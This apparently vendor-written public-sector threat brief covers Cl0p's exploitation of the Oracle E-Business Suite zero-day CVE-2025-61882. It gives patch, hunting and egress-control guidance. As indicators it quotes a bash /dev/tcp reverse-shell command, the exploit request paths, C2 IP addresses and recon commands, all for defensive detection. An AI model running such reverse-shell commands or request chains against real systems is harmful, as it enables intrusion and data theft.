Cl0p Exploits Oracle E-Business Suite Zero Day (CVE-2025-61882)

A Public Sector Threat Brief: Overview

A critical zero-day in Oracle E-Business Suite (EBS), CVE-2025-61882, is being actively exploited by actors linked to the Cl0p extortion ecosystem. Rated 9.8 CVSS and enabling unauthenticated remote code execution, the flaw lets an attacker seize full control of an ERP instance without valid credentials. Intrusions began in early August 2025, weeks before Oracle issued an emergency patch on October 4, and the campaign escalated in late September with broad extortion outreach to affected organizations. 

Public sector agencies are squarely at risk because EBS often runs core government functions like finance, HR, and procurement. Dozens of organizations have already been impacted. Cl0p’s playbook is simple and brutal: steal quietly, extort loudly. Even if operations seem normal, compromised environments may face data-leak blackmail in the coming days. This is not “business as usual” when your business suite can be turned against you. Here’s why it matters and what to do next. 

Why Public Sector Leaders Should Care

Oracle E-Business Suite isn’t just another app in your stack. It’s the financials, HR, procurement, grants, and payments backbone. A pre-auth RCE here means an outsider can take system-level actions without credentials, so this isn’t a “train users harder” problem; it’s a core systems risk with direct impact on services, budgets, and citizen trust. Oracle has confirmed the flaw is remotely exploitable without authentication and affects supported EBS 12.2.3–12.2.14, which are common in government environments.  

This is not theoretical. Google/Mandiant report the campaign began in early August and has already hit dozens of organizations, with data theft followed by extortion (Cl0p’s well-worn playbook from MOVEit-scale incidents). That’s the kind of mass exploitation that sweeps up agencies and higher-ed along with the private sector.  

Regulators are treating it as urgent. CISA added the Oracle EBS zero-day to the Known Exploited Vulnerabilities catalog, which is the federal “drop everything and fix this” list that drives binding remediation for agencies and strong expectations for SLG partners. Translation: if you operate EBS, you’re on the clock.  

Finally, the attack path sidesteps many of the controls leaders typically rely on: it’s server-side, needs no user click, and can be executed over standard web ports—so MFA, email filtering, and awareness campaigns won’t stop initial access. It requires patching, hunting, and network egress controls to contain.  

Bottom line: the combination of (1) crown-jewel systems, (2) active mass exploitation for data theft and extortion, and (3) federal urgency makes this a leadership-level priority, not just a ticket for the ERP team. 

Industry Verticals Affected

Anyone running Oracle E-Business Suite 12.2.3–12.2.14 is in scope. Oracle confirmed unauthenticated RCE and shipped an out-of-band fix; attacks have already hit “dozens of organizations,” so treat this as cross-industry exposure, not a niche ERP bug.  

• SLTT government & public administration: CISA added CVE-2025-61882 to the Known Exploited Vulnerabilities catalog with a hard remediation deadline, making it a priority for federal agencies and a strong signal for states, locals, and higher-ed public institutions.  
• Healthcare (hospitals, health systems): The AHA and partners issued sector-specific advisories urging immediate patching due to data-theft and extortion risk. If your revenue cycle, HR, or supply chain runs on EBS, assume exposure.  
• Financial services. FINRA warned broker-dealers and member firms that unpatched EBS instances enable pre-auth RCE and potential data compromise. Treat as urgent.  
• Manufacturing, logistics, and large enterprise back-office. EBS is widely used for core operations (logistics, manufacturing, customer processes); Google and press reporting note broad, multi-industry victimology in this campaign.  

If Oracle EBS underpins finance, HR, procurement, or supply chain in your org, you’re in the blast radius regardless of sector.  

How to Identify If You're Under Attack

Credit the below technical indicators to Google: Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign | Google Cloud Blog.

1. High-fidelity web hits to tell-tale EBS endpoints 
   1. POST /OA_HTML/SyncServlet (often the first step in the chain). 
   2. GET /OA_HTML/OA.jsp? page=/oracle/apps/xdo/oa/template/webui/TemplatePreviewPG&TemplateCode=<TMP|DEF>… (previewing the malicious template; this is a strong IOC). 
   3. GET /OA_HTML/configurator/UiServlet (seen in earlier activity). 
2. Suspicious BI Publisher templates inside the EBS database 
   1. Newly created templates in XDO_TEMPLATES_B (and XDO_LOBS) with TemplateCode starting TMP or DEF; TemplateType often XSL-TEXT or XML. These are how the payloads are stashed. (Run quick hunts: SELECT * FROM XDO_TEMPLATES_B ORDER BY CREATION_DATE DESC; and same for XDO_LOBS.) 
3. Reverse-shell footprints in logs or process telemetry 
   1. Command pattern: bash -i >& /dev/tcp/<ip>/<port> 0>&1 (classic reverse shell used in this campaign). 
   2. Java parent spawning shell/recon: child commands like bash -c cat /etc/hosts, df -h, ip addr, etc. (Look for Java → shell process chains.) 
4. Outbound connections from the EBS app server to unfamiliar hosts 
   1. Known exploit/C2 infrastructure observed in this activity: 200.107.207.26, 161.97.99.49, and C2s such as 162.55.17.215:443, 104.194.11.200:443. Treat any EBS-originating egress to these (or other unknown IPs) as urgent. 
5. Extortion emails that “know” your Oracle EBS 
   1. Executives receive messages claiming Oracle EBS data theft, often sent from compromised third-party accounts, with contact addresses support[@]pubstorm<dot>com or support[@]pubstorm<dot>net and sometimes real file listings as “proof.” If this shows up, assume they already have data. 
6. Malicious/persistent Java components in the web tier 
   1. Post-exploit implants (e.g., GOLDVEIN and a SAGE-series chain) run in-memory and may drop a persistent filter that watches for specific URL patterns to trigger follow-on payloads. Hunt for unusual servlet filters and memory-resident Java code tied to the EBS/WebLogic processes; consider memory forensics if you suspect compromise. 
7. Oracle’s published IOCs 
   1. Oracle’s emergency alert for CVE-2025-61882 includes an IOC set: suspicious IPs, the reverse-shell command string above, and hashes of the leaked PoC (exp.py, server.py). Load these into your SIEM/TIP and scan historically. 

Technical Recommendations Including Which Patches to Apply

• Priority 1 — Patch now (and verify): 
  • Apply Oracle’s Security Alert for CVE-2025-61882 to all affected E-Business Suite 12.2.3–12.2.14 instances. Oracle explicitly notes the October 2023 Critical Patch Update is a prerequisite, so make sure that CPU is in place first. Validate success in adopt/patch logs. 
  • Also apply Oracle’s new, related EBS fixes released this week (e.g., the Runtime UI information-disclosure CVE listed by Oracle on Oct 11). Close everything Oracle has flagged in this window, not just 61882.  

• Priority 2 — Assume breach, hunt hard: (Patch closes the door; this checks if anyone already walked in.) 
  • Database artifacts: Query XDO_TEMPLATES_B and XDO_LOBS for newly created or modified BI Publisher templates (look for TemplateCode prefixed TMP/DEF). Delete and investigate anything suspicious.  
  • Web traces: Review access logs for POST /OA_HTML/SyncServlet and requests to Template Preview (e.g., ...TemplatePreviewPG&TemplateCode=TMP...). These are high-signal exploit steps.  
  • Process telemetry: Hunt for Java / bash chains and classic reverse-shell patterns such as bash -i >& /dev/tcp/<ip>/<port> 0>&1. If present, escalate to incident response immediately.  
  • Persistence checks: Inspect the web tier for unfamiliar JSP/classes and servlet filters (e.g., Log4jConfigQpgsubFilter.java in CrowdStrike’s write-up). If found, isolate the host, capture memory, and rebuild clean.  
  • Session review: Examine icx_sessions for odd UserID 0 (sysadmin) or UserID 6 (guest) activity during the suspected window.  

• Priority 3 — Reduce exposure (buy down risk immediately): 
  • Take EBS off the open internet wherever possible; require VPN or private access. If it must be reachable, put it behind a WAF and geofencing; several vendors and researchers recommend WAF rules to blunt known request patterns.  
  • Block egress from EBS hosts: except for explicitly required destinations. This campaign relies on outbound 443 callbacks (C2 and second-stage fetch). Cut those paths to break the kill chain.  
  • Load current IOCs: (IPs, hashes, commands) from Oracle/Google into your SIEM/EDR and retro-hunt 60–90 days.  

• Priority 4 — Strengthen controls: 
  • Hardening: Remove/disable unused EBS web components, enforce least-privilege on the EBS OS and app accounts, and tighten segmentation between the app tier and database/other zones. (Limits post-compromise blast radius.) 
  • Monitoring: Ship web, app, DB, and OS logs to your SIEM; add alerts for TemplatePreview activity, /SyncServlet, Java spawning shells, and unexpected outbound 443 from EBS Java processes. CrowdStrike and Google provide ready-made hunting logic—adapt it to SPL/KQL.  
  • Credentials & keys: Rotate EBS admin creds, integration accounts, and any stored secrets that might be present on the host. 
  • IR readiness: If indicators hit, isolate first, preserve memory/disk forensics, notify leadership/legal, and prepare for potential data-theft disclosure. 

Compliance note (public sector): CISA added CVE-2025-61882 to the Known Exploited Vulnerabilities catalog. Treat as a “drop-everything” item and meet the remediation deadline for federal environments; SLTT agencies should align to the same urgency. 

If You Need Help

Patch Oracle EBS now, assume breach, hunt for TemplatePreviewPG/TMP-DEF artifacts and Java bash reverse shells, lock down egress, and if you need rapid triage, call NuHarbor today.

Don't miss another article. Subscribe to our blog now.